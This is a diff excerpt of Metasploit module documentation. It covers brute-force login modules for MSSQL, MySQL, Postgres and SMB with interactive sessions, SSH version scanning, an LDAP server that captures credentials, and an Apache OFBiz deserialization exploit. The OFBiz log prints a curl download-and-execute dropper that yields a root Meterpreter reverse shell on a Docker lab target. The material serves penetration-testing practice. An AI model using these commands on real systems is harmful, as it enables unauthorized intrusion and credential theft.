lls List local files
lmkdir Create new directory on local machine
lpwd Print local working directory
This session also works with the following modules:
auxiliary/admin/mssql/mssql_enum
auxiliary/admin/mssql/mssql_escalate_dbowner
auxiliary/admin/mssql/mssql_escalate_execute_as
auxiliary/admin/mssql/mssql_exec
auxiliary/admin/mssql/mssql_findandsampledata
auxiliary/admin/mssql/mssql_idf
auxiliary/admin/mssql/mssql_sql
auxiliary/admin/mssql/mssql_sql_file
auxiliary/scanner/mssql/mssql_hashdump
auxiliary/scanner/mssql/mssql_schemadump
exploit/windows/mssql/mssql_payload
```
To interact directly with the session as if in a SQL prompt, you can use the `query` command.
```msf
msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i -1
[*] Starting interaction with 2...
mssql @ 192.168.2.242:1433 (master) > query -h
Usage: query
Run a single SQL query on the target.
OPTIONS:
-h, --help Help menu.
-i, --interact Enter an interactive prompt for running multiple SQL queries
Examples:
query select @@version;
query select user_name();
query select name from master.dbo.sysdatabases;
mssql @ 192.168.2.242:1433 (master) > query 'select @@version;'
Response
========
# NULL
- ----
0 Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64)
Oct 8 2022 05:58:25
Copyright (C) 2022 Microsoft Corporation
Developer Edition (64-bit) on Windows Server 2022 Standard 10.0 <X64> (B
uild 20348: ) (Hypervisor)
```
Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:
```msf
mssql @ 192.168.2.242:1433 (master) > query_interactive -h
Usage: query_interactive
Go into an interactive SQL shell where SQL queries can be executed.
To exit, type 'exit', 'quit', 'end' or 'stop'.
mssql @ 192.168.2.242:1433 (master) > query_interactive
[*] Starting interactive SQL shell for mssql @ 192.168.2.242:1433 (master)
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
SQL >> select top 2 table_catalog, table_schema
SQL *> from information_schema.tables;
[*] Executing query: select top 2 table_catalog, table_schema from information_schema.tables;
Response
========
# table_catalog table_schema
- ------------- ------------
0 master dbo
1 master dbo
SQL >>
```
### USER_FILE
File containing users, one per line.
@@ -24,7 +192,8 @@ File containing users, one per line.
File containing passwords, one per line
## Scenarios
```
```msf
msf > use scanner/mssql/mssql_login
msf6 auxiliary(scanner/mssql/mssql_login) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
@@ -12,7 +12,7 @@ This auxiliary module is a brute-force login tool for MySQL servers.
## Scenarios
```
```msf
msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > set PASS_FILE /tmp/passes.txt
PASS_FILE => /tmp/passes.txt
@@ -61,3 +61,154 @@ msf auxiliary(mysql_login) > run
[*] Auxiliary module execution completed
msf auxiliary(mysql_login) >
```
## Obtaining an Interactive Session
The CreateSession option allows you to obtain an interactive session
for the MySQL client you're connecting to. The run command with CreateSession
set to true should give you an interactive session:
```msf
run rhost=127.0.0.1 rport=4306 username=root password=password createsession=true
[+] 127.0.0.1:4306 - 127.0.0.1:4306 - Found remote MySQL version 11.2.2
[+] 127.0.0.1:4306 - 127.0.0.1:4306 - Success: 'root:password'
[*] MySQL session 1 opened (127.0.0.1:53241 -> 127.0.0.1:4306) at 2024-03-12 12:40:46 -0500
[*] 127.0.0.1:4306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i -1
[*] Starting interaction with 1...
mysql @ 127.0.0.1:4306 >
```
You can interact with your new session using `sessions -i -1` or `sessions -i <session id>`.
You can also use `help` to get more information about how to use your session.
```msf
msf6 auxiliary(scanner/mysql/mysql_login) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 mssql MSSQL test @ 192.168.2.242:1433 192.168.2.1:61428 -> 192.168.2.242:1433 (192.168.2.242)
3 mysql MySQL root @ 127.0.0.1:4306 127.0.0.1:61450 -> 127.0.0.1:4306 (127.0.0.1)
msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i 3
[*] Starting interaction with 3...
```
When interacting with a session, the help command can be useful:
```msf
mysql @ 127.0.0.1:4306 > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
exit Terminate the PostgreSQL session
help Help menu
irb Open an interactive Ruby shell on the current session
pry Open the Pry debugger on the current session
sessions Quickly switch to another session
MySQL Client Commands
=====================
Command Description
------- -----------
query Run a single SQL query
query_interactive Enter an interactive prompt for running multiple SQL queries
Local File System Commands
==========================
Command Description
------- -----------
getlwd Print local working directory (alias for lpwd)
lcat Read the contents of a local file to the screen
lcd Change local working directory
ldir List local files (alias for lls)
lls List local files
lmkdir Create new directory on local machine
lpwd Print local working directory
This session also works with the following modules:
auxiliary/admin/mysql/mysql_enum
auxiliary/admin/mysql/mysql_sql
auxiliary/scanner/mysql/mysql_file_enum
auxiliary/scanner/mysql/mysql_hashdump
auxiliary/scanner/mysql/mysql_schemadump
auxiliary/scanner/mysql/mysql_version
auxiliary/scanner/mysql/mysql_writable_dirs
exploit/multi/mysql/mysql_udf_payload
exploit/windows/mysql/mysql_mof
exploit/windows/mysql/mysql_start_up
```
Once you've done that, you can run any MySQL query against the target using the `query` command:
```msf
mysql @ 127.0.0.1:4306 > query -h
Usage: query
Run a single SQL query on the target.
OPTIONS:
-h, --help Help menu.
-i, --interact Enter an interactive prompt for running multiple SQL queries
Examples:
query SHOW DATABASES;
query USE information_schema;
query SELECT * FROM SQL_FUNCTIONS;
query SELECT version();
mysql @ 127.0.0.1:4306 > query 'SELECT version();'
Response
========
# version()
- ---------
0 11.2.2-MariaDB-1:11.2.2+maria~ubu2204
```
Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:
```msf
mysql @ 127.0.0.1:4306 > query_interactive -h
Usage: query_interactive
Go into an interactive SQL shell where SQL queries can be executed.
To exit, type 'exit', 'quit', 'end' or 'stop'.
mysql @ 127.0.0.1:4306 > query_interactive
[*] Starting interactive SQL shell for mysql @ 127.0.0.1:4306
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
SQL >> SELECT table_name
SQL *> FROM information_schema.tables
SQL *> LIMIT 2;
[*] Executing query: SELECT table_name FROM information_schema.tables LIMIT 2;
Response
========
# table_name
- ----------
0 ALL_PLUGINS
1 APPLICABLE_ROLES
SQL >>
```
@@ -0,0 +1,168 @@
## Description
This auxiliary module is a brute-force login tool for Postgres servers.
## Verification Steps
1. Do: `use auxiliary/scanner/postgres/postgres_login`
2. Do: `set PASS_FILE [file containing passwords]`
3. Do: `set RHOSTS [IP]`
4. Do: `set USER_FILE [file containing usernames]`
5. Do: `set DATABASE [template name]`
6. Do: `run`
The above USER_FILE and PASS_FILE options can be replaced with USERNAME
and PASSWORD if you know the credentials.
## Getting an Interactive Session
The CreateSession option allows you to obtain an interactive session
for the Postgres client you're connecting to. The run command with CreateSession
set to true should give you an interactive session.
For example:
```msf
msf6 auxiliary(scanner/postgres/postgres_login) > run rhost=127.0.0.1 rport=5432 username=postgres password=password database=template1 createsession=true
```
Should yield:
```msf
[+] 127.0.0.1:5432 - Login Successful: postgres:password@template1
[*] PostgreSQL session 1 opened (127.0.0.1:61324 -> 127.0.0.1:5432) at 2024-03-15 14:00:12 -0500
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
You can interact with your session using `sessions -i -1` or `sessions <session id>`.
Use the help command for more info.
```msf
msf6 auxiliary(scanner/postgres/postgres_login) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 postgresql PostgreSQL postgres @ 127.0.0.1:5432 127.0.0.1:61324 -> 127.0.0.1:5432 (127.0.0.1)
msf6 auxiliary(scanner/postgres/postgres_login) > sessions -i 1
[*] Starting interaction with 1...
```
When interacting with a session, the help command can be useful:
```msf
postgresql @ 127.0.0.1:5432 (template1) > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
exit Terminate the PostgreSQL session
help Help menu
irb Open an interactive Ruby shell on the current session
pry Open the Pry debugger on the current session
sessions Quickly switch to another session
PostgreSQL Client Commands
==========================
Command Description
------- -----------
query Run a single SQL query
query_interactive Enter an interactive prompt for running multiple SQL queries
Local File System Commands
==========================
Command Description
------- -----------
getlwd Print local working directory (alias for lpwd)
lcat Read the contents of a local file to the screen
lcd Change local working directory
ldir List local files (alias for lls)
lls List local files
lmkdir Create new directory on local machine
lpwd Print local working directory
This session also works with the following modules:
auxiliary/admin/postgres/postgres_readfile
auxiliary/admin/postgres/postgres_sql
auxiliary/scanner/postgres/postgres_hashdump
auxiliary/scanner/postgres/postgres_schemadump
auxiliary/scanner/postgres/postgres_version
exploit/linux/postgres/postgres_payload
exploit/multi/postgres/postgres_copy_from_program_cmd_exec
exploit/multi/postgres/postgres_createlang
exploit/windows/postgres/postgres_payload
```
Once you've done that, you can run any Postgres query against the target using the `query` command:
```msf
postgresql @ 127.0.0.1:5432 (template1) > query -h
Usage: query
Run a single SQL query on the target.
OPTIONS:
-h, --help Help menu.
-i, --interact Enter an interactive prompt for running multiple SQL queries
Examples:
query SELECT user;
query SELECT version();
query SELECT * FROM pg_catalog.pg_tables;
postgresql @ 127.0.0.1:5432 (template1) > query 'SELECT version();'
[*] SELECT 1
Response
========
# version
- -------
0 PostgreSQL 14.1 on aarch64-apple-darwin20.6.0, compiled by Apple clang version 12.0.5 (clang-1205.0.22.9), 64-bit
```
Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:
```msf
postgresql @ 127.0.0.1:5432 (template1) > query_interactive -h
Usage: query_interactive
Go into an interactive SQL shell where SQL queries can be executed.
To exit, type 'exit', 'quit', 'end' or 'stop'.
postgresql @ 127.0.0.1:5432 (template1) > query_interactive
[*] Starting interactive SQL shell for postgresql @ 127.0.0.1:5432 (template1)
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
SQL >> SELECT table_name
SQL *> FROM information_schema.tables
SQL *> LIMIT 2;
[*] Executing query: SELECT table_name FROM information_schema.tables LIMIT 2;
[*] SELECT 2
Response
========
# table_name
- ----------
0 pg_statistic
1 pg_type
SQL >>
```
@@ -8,7 +8,7 @@ To use smb_login, make sure you are able to connect to a SMB service that suppor
The following demonstrates a basic scenario of using the [built-in wordlists](https://github.com/rapid7/metasploit-framework/tree/master/data/wordlists) to brute-force SMB:
```
```msf
msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > set RHOSTS 192.168.1.80
RHOSTS => 192.168.1.80
@@ -21,12 +21,12 @@ msf auxiliary(smb_login) > run
[+] 192.168.1.80:445 - 192.168.1.80:445 SMB - Success: '.\root:monkey' Administrator
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smb_login) >
msf auxiliary(smb_login) >
```
If you have a database connected, you should also see this credential logged:
```
```msf
msf auxiliary(smb_login) > creds
Credentials
===========
@@ -35,10 +35,126 @@ host origin service public private realm private_type
---- ------ ------- ------ ------- ----- ------------
192.168.1.80 192.168.1.80 445/tcp (smb) root monkey Password
msf auxiliary(smb_login)
msf auxiliary(smb_login) >
```
## Options
## Obtaining a Session
When using the smb_login module, the CreateSession option can be used to obtain an interactive
session within the smb instance. Running with the following options:
```msf
msf6 auxiliary(scanner/smb/smb_login) > run CreateSession=true RHOSTS=172.14.2.164 RPORT=445 SMBDomain=windomain.local SMBPass=password SMBUser=username
```
Should give you output containing:
```msf
[*] 172.14.2.164:445 - 172.14.2.164:445 - Starting SMB login bruteforce
[+] 172.14.2.164:445 - 172.14.2.164:445 - Success: 'windomain.local\username:password' Administrator
[*] SMB session 1 opened (172.16.158.1:62793 -> 172.14.2.164:445) at 2024-03-12 17:03:09 +0000
[*] 172.14.2.164:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
[*] Starting interaction with 1...
```
Which you can interact with using `sessions -i <session id>` or `sessions -i -1` to interact with the most recently opened session.
```msf
msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
[*] Starting interaction with 1...
SMB (172.14.2.164) > shares
Shares
======
# Name Type comment
- ---- ---- -------
0 ADMIN$ DISK|SPECIAL Remote Admin
1 C$ DISK|SPECIAL Default share
2 foo DISK
3 IPC$ IPC|SPECIAL Remote IPC
SMB (172.14.2.164) > shares -i foo
[+] Successfully connected to foo
SMB (172.14.2.164\foo) > ls
ls
===
[truncated]
```
When interacting with a session, the help command can be useful:
```msf
SMB (172.14.2.164\foo) > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
exit Terminate the SMB session
help Help menu
irb Open an interactive Ruby shell on the current session
pry Open the Pry debugger on the current session
sessions Quickly switch to another session
Shares Commands
===============
Command Description
------- -----------
cat Read the file at the given path
cd Change the current remote working directory
delete Delete a file
dir List all files in the current directory (alias for ls)
download Download a file
ls List all files in the current directory
mkdir Make a new directory
pwd Print the current remote working directory
rmdir Delete a directory
shares View the available shares and interact with one
upload Upload a file
Local File System Commands
==========================
Command Description
------- -----------
getlwd Print local working directory (alias for lpwd)
lcat Read the contents of a local file to the screen
lcd Change local working directory
ldir List local files (alias for lls)
lls List local files
lmkdir Create new directory on local machine
lpwd Print local working directory
This session also works with the following modules:
auxiliary/admin/dcerpc/icpr_cert
auxiliary/admin/dcerpc/samr_computer
auxiliary/admin/smb/delete_file
auxiliary/admin/smb/download_file
auxiliary/admin/smb/psexec_ntdsgrab
auxiliary/admin/smb/upload_file
auxiliary/gather/windows_secrets_dump
auxiliary/scanner/smb/pipe_auditor
auxiliary/scanner/smb/pipe_dcerpc_auditor
auxiliary/scanner/smb/smb_enum_gpp
auxiliary/scanner/smb/smb_enumshares
auxiliary/scanner/smb/smb_enumusers
auxiliary/scanner/smb/smb_enumusers_domain
auxiliary/scanner/smb/smb_lookupsid
exploit/windows/smb/psexec
```
## Credential Options
By default, the smb_login module only requires the RHOSTS option to run. But in reality, you will
also need to supply user names and passwords. The following options are available to support
@@ -1,34 +1,260 @@
## Description
SSH, Secure SHell, is an encrypted network protocol used to remotely interact with an Operating System at a command line level. SSH is available on most every system, including Windows, but is mainly used by *nix administrators.
This module identifies the version of SSH service in use by the server based on the server's banner. Any SSH server should return this information.
## Vulnerable Application
SSH, Secure SHell, is an encrypted network protocol used to remotely interact with an Operating System at a command line level.
SSH is available on most every system, including Windows, but is mainly used by *nix administrators.
This module identifies the version of SSH service in use by the server based on the server's banner.
Any SSH server should return this information. It also identifies the varous cryptographic settings
and vulnerabilities associated with those.
This module is tested on several different SSH services, such as:
- Virtual testing environment: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
- `github.com`: SSH-2.0-babeld-38be96bc
- `gitlab.com`: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
### Vulnerable Ubuntu 14.04.1
The following `Dockerfile` can be used to create an Ubuntu 14.04.1 image with SSH running.
```
FROM ubuntu:14.04.1
RUN apt-get update && apt-get -y install --no-install-recommends openssh-server=1:6.6p1-2ubuntu1 openssh-client=1:6.6p1-2ubuntu1 openssh-sftp-server=1:6.6p1-2ubuntu1
RUN mkdir /var/run/sshd
EXPOSE 22
CMD ["/usr/sbin/sshd","-D"]
```
## Verification Steps
1. Do: `use auxiliary/scanner/ssh/ssh_version`
2. Do: `set rhosts [ips]`
3. Do: `run`
## Options
### EXTENDED_CHECKS
Check for cryptographic issues. Defaults to `true`
## Scenarios
### SSH-2.0 on GitHub
```
msf5 auxiliary(scanner/ssh/ssh_version) > use auxiliary/scanner/ssh/ssh_version
```
msf5 > use auxiliary/scanner/ssh/ssh_version
msf5 auxiliary(scanner/ssh/ssh_version) > set RHOSTS github.com
RHOSTS => github.com
msf5 auxiliary(scanner/ssh/ssh_version) > run
[+] 140.82.118.4:22 - SSH server version: SSH-2.0-babeld-38be96bc
[*] github.com:22 - Scanned 1 of 1 hosts (100% complete)
[*] 140.82.113.4 - Key Fingerprint: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMqqnkVzrm0SdG6UOoqKLsabgH5C9okWi0dh2l9GKJl
[*] 140.82.113.4 - SSH server version: SSH-2.0-babeld-8405f9f3
[*] 140.82.113.4 - Server Information and Encryption
=================================
Type Value Note
---- ----- ----
encryption.compression none
encryption.compression zlib@openssh.com
encryption.compression zlib
encryption.encryption chacha20-poly1305@openssh.com
encryption.encryption aes256-gcm@openssh.com
encryption.encryption aes128-gcm@openssh.com
encryption.encryption aes256-ctr
encryption.encryption aes192-ctr
encryption.encryption aes128-ctr
encryption.hmac hmac-sha2-512-etm@openssh.com
encryption.hmac hmac-sha2-256-etm@openssh.com
encryption.hmac hmac-sha2-512
encryption.hmac hmac-sha2-256
encryption.host_key ssh-ed25519
encryption.host_key ecdsa-sha2-nistp256 Weak elliptic curve
encryption.host_key rsa-sha2-512
encryption.host_key rsa-sha2-256
encryption.host_key ssh-rsa
encryption.key_exchange curve25519-sha256
encryption.key_exchange curve25519-sha256@libssh.org
encryption.key_exchange ecdh-sha2-nistp256
encryption.key_exchange ecdh-sha2-nistp384
encryption.key_exchange ecdh-sha2-nistp521
encryption.key_exchange diffie-hellman-group-exchange-sha256
encryption.key_exchange kex-strict-s-v00@openssh.com
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
```
### Docker image
```
msf5 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(scanner/ssh/ssh_version) > set rhosts 172.17.0.2
rhosts => 172.17.0.2
msf6 auxiliary(scanner/ssh/ssh_version) > set verbose true
verbose => true
msf6 auxiliary(scanner/ssh/ssh_version) > run
[*] 172.17.0.2 - Key Fingerprint: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG52hWkobwr57akGxiK6eeMN9/M5MH+sQsNPv8Mci049
[*] 172.17.0.2 - SSH server version: SSH-2.0-OpenSSH_6.6p1 Ubuntu-2ubuntu1
[+] 172.17.0.2 - Key Exchange (kex) diffie-hellman-group-exchange-sha1 is deprecated and should not be used.
[+] 172.17.0.2 - Key Exchange (kex) diffie-hellman-group1-sha1 is deprecated and should not be used.
[+] 172.17.0.2 - Host Key Encryption ecdsa-sha2-nistp256 uses a weak elliptic curve and should not be used.
[+] 172.17.0.2 - HMAC hmac-md5 is deprecated and should not be used.
[+] 172.17.0.2 - HMAC hmac-ripemd160 is deprecated and should not be used.
[+] 172.17.0.2 - HMAC hmac-sha1-96 is deprecated and should not be used.
[+] 172.17.0.2 - HMAC hmac-md5-96 is deprecated and should not be used.
[+] 172.17.0.2 - Encryption arcfour256 is deprecated and should not be used.
[+] 172.17.0.2 - Encryption arcfour128 is deprecated and should not be used.
[+] 172.17.0.2 - Encryption aes128-cbc is deprecated and should not be used.
[+] 172.17.0.2 - Encryption 3des-cbc is deprecated and should not be used.
[+] 172.17.0.2 - Encryption blowfish-cbc is deprecated and should not be used.
[+] 172.17.0.2 - Encryption cast128-cbc is deprecated and should not be used.
[+] 172.17.0.2 - Encryption aes192-cbc is deprecated and should not be used.
[+] 172.17.0.2 - Encryption aes256-cbc is deprecated and should not be used.
[+] 172.17.0.2 - Encryption arcfour is deprecated and should not be used.
[+] 172.17.0.2 - Encryption rijndael-cbc@lysator.liu.se is deprecated and should not be used.
[*] 172.17.0.2 - Server Information and Encryption
=================================
Type Value Note
---- ----- ----
encryption.compression none
encryption.compression zlib@openssh.com
encryption.encryption aes128-ctr
encryption.encryption aes192-ctr
encryption.encryption aes256-ctr
encryption.encryption arcfour256 Deprecated
encryption.encryption arcfour128 Deprecated
encryption.encryption aes128-gcm@openssh.com
encryption.encryption aes256-gcm@openssh.com
encryption.encryption chacha20-poly1305@openssh.com
encryption.encryption aes128-cbc Deprecated
encryption.encryption 3des-cbc Deprecated
encryption.encryption blowfish-cbc Deprecated
encryption.encryption cast128-cbc Deprecated
encryption.encryption aes192-cbc Deprecated
encryption.encryption aes256-cbc Deprecated
encryption.encryption arcfour Deprecated
encryption.encryption rijndael-cbc@lysator.liu.se Deprecated
encryption.hmac hmac-md5-etm@openssh.com
encryption.hmac hmac-sha1-etm@openssh.com
encryption.hmac umac-64-etm@openssh.com
encryption.hmac umac-128-etm@openssh.com
encryption.hmac hmac-sha2-256-etm@openssh.com
encryption.hmac hmac-sha2-512-etm@openssh.com
encryption.hmac hmac-ripemd160-etm@openssh.com
encryption.hmac hmac-sha1-96-etm@openssh.com
encryption.hmac hmac-md5-96-etm@openssh.com
encryption.hmac hmac-md5 Deprecated
encryption.hmac hmac-sha1
encryption.hmac umac-64@openssh.com
encryption.hmac umac-128@openssh.com
encryption.hmac hmac-sha2-256
encryption.hmac hmac-sha2-512
encryption.hmac hmac-ripemd160 Deprecated
encryption.hmac hmac-ripemd160@openssh.com
encryption.hmac hmac-sha1-96 Deprecated
encryption.hmac hmac-md5-96 Deprecated
encryption.host_key ssh-rsa
encryption.host_key ssh-dss
encryption.host_key ecdsa-sha2-nistp256 Weak elliptic curve
encryption.host_key ssh-ed25519
encryption.key_exchange curve25519-sha256@libssh.org
encryption.key_exchange ecdh-sha2-nistp256
encryption.key_exchange ecdh-sha2-nistp384
encryption.key_exchange ecdh-sha2-nistp521
encryption.key_exchange diffie-hellman-group-exchange-sha256
encryption.key_exchange diffie-hellman-group-exchange-sha1 Deprecated
encryption.key_exchange diffie-hellman-group14-sha1
encryption.key_exchange diffie-hellman-group1-sha1 Deprecated
fingerprint_db ssh.banner
openssh.comment Ubuntu-2ubuntu1
os.cpe23 cpe:/o:canonical:ubuntu_linux:14.04
os.family Linux
os.product Linux
os.vendor Ubuntu
os.version 14.04
service.cpe23 cpe:/a:openbsd:openssh:6.6p1
service.family OpenSSH
service.product OpenSSH
service.protocol ssh
service.vendor OpenBSD
service.version 6.6p1
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
## Confirming using NMAP
Utilizing the [ssh2-enum-algos](https://nmap.org/nsedoc/scripts/ssh2-enum-algos.html) NMAP script.
```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-11 14:55 EST
Nmap scan report for 172.17.0.2
Host is up (0.000099s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh2-enum-algos:
| kex_algorithms: (8)
| curve25519-sha256@libssh.org
| ecdh-sha2-nistp256
| ecdh-sha2-nistp384
| ecdh-sha2-nistp521
| diffie-hellman-group-exchange-sha256
| diffie-hellman-group-exchange-sha1
| diffie-hellman-group14-sha1
| diffie-hellman-group1-sha1
| server_host_key_algorithms: (4)
| ssh-rsa
| ssh-dss
| ecdsa-sha2-nistp256
| ssh-ed25519
| encryption_algorithms: (16)
| aes128-ctr
| aes192-ctr
| aes256-ctr
| arcfour256
| arcfour128
| aes128-gcm@openssh.com
| aes256-gcm@openssh.com
| chacha20-poly1305@openssh.com
| aes128-cbc
| 3des-cbc
| blowfish-cbc
| cast128-cbc
| aes192-cbc
| aes256-cbc
| arcfour
| rijndael-cbc@lysator.liu.se
| mac_algorithms: (19)
| hmac-md5-etm@openssh.com
| hmac-sha1-etm@openssh.com
| umac-64-etm@openssh.com
| umac-128-etm@openssh.com
| hmac-sha2-256-etm@openssh.com
| hmac-sha2-512-etm@openssh.com
| hmac-ripemd160-etm@openssh.com
| hmac-sha1-96-etm@openssh.com
| hmac-md5-96-etm@openssh.com
| hmac-md5
| hmac-sha1
| umac-64@openssh.com
| umac-128@openssh.com
| hmac-sha2-256
| hmac-sha2-512
| hmac-ripemd160
| hmac-ripemd160@openssh.com
| hmac-sha1-96
| hmac-md5-96
| compression_algorithms: (2)
| none
|_ zlib@openssh.com
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds
```
@@ -0,0 +1,52 @@
## Vulnerable Application
This module emulates an LDAP Server which accepts User Bind Request to capture the User Credentials.
Upon receiving successful Bind Request, a `ldap_bind: Authentication method not supported (7)` error is sent to the User
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/server/capture/ldap`
3. Do: `run`
4. From a new shell or workstation, perform a ldap bind request involving User credentials.
5. Check the database using `creds` for the user authentication information.
## Options
**Authentication**
The type of LDAP authentication to capture. The default type is `Simple`
## Scenarios
### Metasploit Server
```
msf6 > use auxiliary/server/capture/ldap
msf6 auxiliary(server/capture/ldap) > run
[*] Server started.
[+] LDAP Login attempt => From:10.0.2.15:48198 Username:User Password:Pass
```
### Client
```
└─$ ldapsearch -LLL -H ldap://10.0.2.15 -D cn=User,dc=example,dc=com -W
Enter LDAP Password:
ldap_bind: Auth Method Not Supported (7)
additional info: Auth Method Not Supported
```
**Database**
```
msf6 auxiliary(server/capture/ldap) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
10.0.2.15 10.0.2.15 389/tcp (ldap) User Pass example.com Password
```
@@ -4,14 +4,25 @@
This module exploits a Java deserialization vulnerability in Apache
OFBiz's unauthenticated XML-RPC endpoint `/webtools/control/xmlrpc` for
versions prior to 17.12.04.
versions prior to 17.12.01 using the `ROME` gadget chain.
Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467
and use the `CommonsBeanutils1` gadget chain.
Verified working on 18.12.09, 17.12.01, and 15.12
### Setup
#### 15.12
You can use <https://hub.docker.com/r/opensourceknight/ofbiz>.
1. Initialize the database with demo data (`INIT_DB=2`) and bind to ports 8080 and 8443
* `docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 opensourceknight/ofbiz:15.12`
* `docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 opensourceknight/ofbiz:15.12`
#### 18.12.09
`docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 vulhub/ofbiz:18.12.09`
## Verification Steps
@@ -27,9 +38,11 @@ This executes a Unix command.
This uses a Linux dropper to execute code.
## Options
## Scenarios
### Apache OFBiz from [Docker](#setup).
### Apache OFBiz from [Docker](#setup) 15.12.
```
msf6 > use exploit/linux/http/apache_ofbiz_deserialization
@@ -101,3 +114,50 @@ BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
### Apache OFBiz from [Docker](#setup) 18.12.09.
```
[msf](Jobs:0 Agents:0) > use exploit/linux/http/apache_ofbiz_deserialization
[*] Using configured payload linux/x64/meterpreter_reverse_https
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set ssl false
[!] Changing the SSL option's value may require changing RPORT!
ssl => false
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set rport 8080
rport => 8080
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set srvport 8999
srvport => 8999
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set lport 9999
lport => 9999
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set lhost 172.17.0.1
lhost => 172.17.0.1
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > exploit
[*] Started HTTPS reverse handler on https://172.17.0.1:9999
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Apache OFBiz detected
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_https
[*] Using URL: http://172.17.0.1:8999/t8Ht92vyG
[*] Client 172.17.0.2 (curl/7.74.0) requested /t8Ht92vyG
[*] Sending payload to 172.17.0.2 (curl/7.74.0)
[+] Successfully executed command: curl -so /tmp/ccOiSBWw http://172.17.0.1:8999/t8Ht92vyG;chmod +x /tmp/ccOiSBWw;/tmp/ccOiSBWw;rm -f /tmp/ccOiSBWw
[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Redirecting stageless connection from /bor18uxq2-DRFNcWtLP2lwc954AkmwDFJGPdMCAemNwEhbK9MZE1sbFjd87crw4EoQ8IRya-nD4j7s9vkiPXENKkm6Hai6rTX1l6MxXV with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0'
[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Redirecting stageless connection from /bor18uxq2-DRFNcWtLP2lwBlG7PmcChFTs3mrZWe19ux0Ge4-K3sXMWLGzskiOvEJN9O34cT2vhArtS36BI-SM8HDCBKggdyux0 with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0'
[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Redirecting stageless connection from /bor18uxq2-DRFNcWtLP2lwS1jEDX4_Jx7YDDvUtpywgCk with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0'
[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Attaching orphaned/stageless session...
[*] Command Stager progress - 100.00% done (112/112 bytes)
[*] Meterpreter session 1 opened (172.17.0.1:9999 -> 172.17.0.2:47500) at 2024-01-16 20:04:06 -0500
[*] Server stopped.
(Meterpreter 1)(/usr/src/apache-ofbiz) > getuid
Server username: root
(Meterpreter 1)(/usr/src/apache-ofbiz) > sysinfo
Computer : 172.17.0.2
OS : Debian 11.4 (Linux 6.5.0-kali3-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
(Meterpreter 1)(/usr/src/apache-ofbiz) >
```
@@ -0,0 +1,213 @@
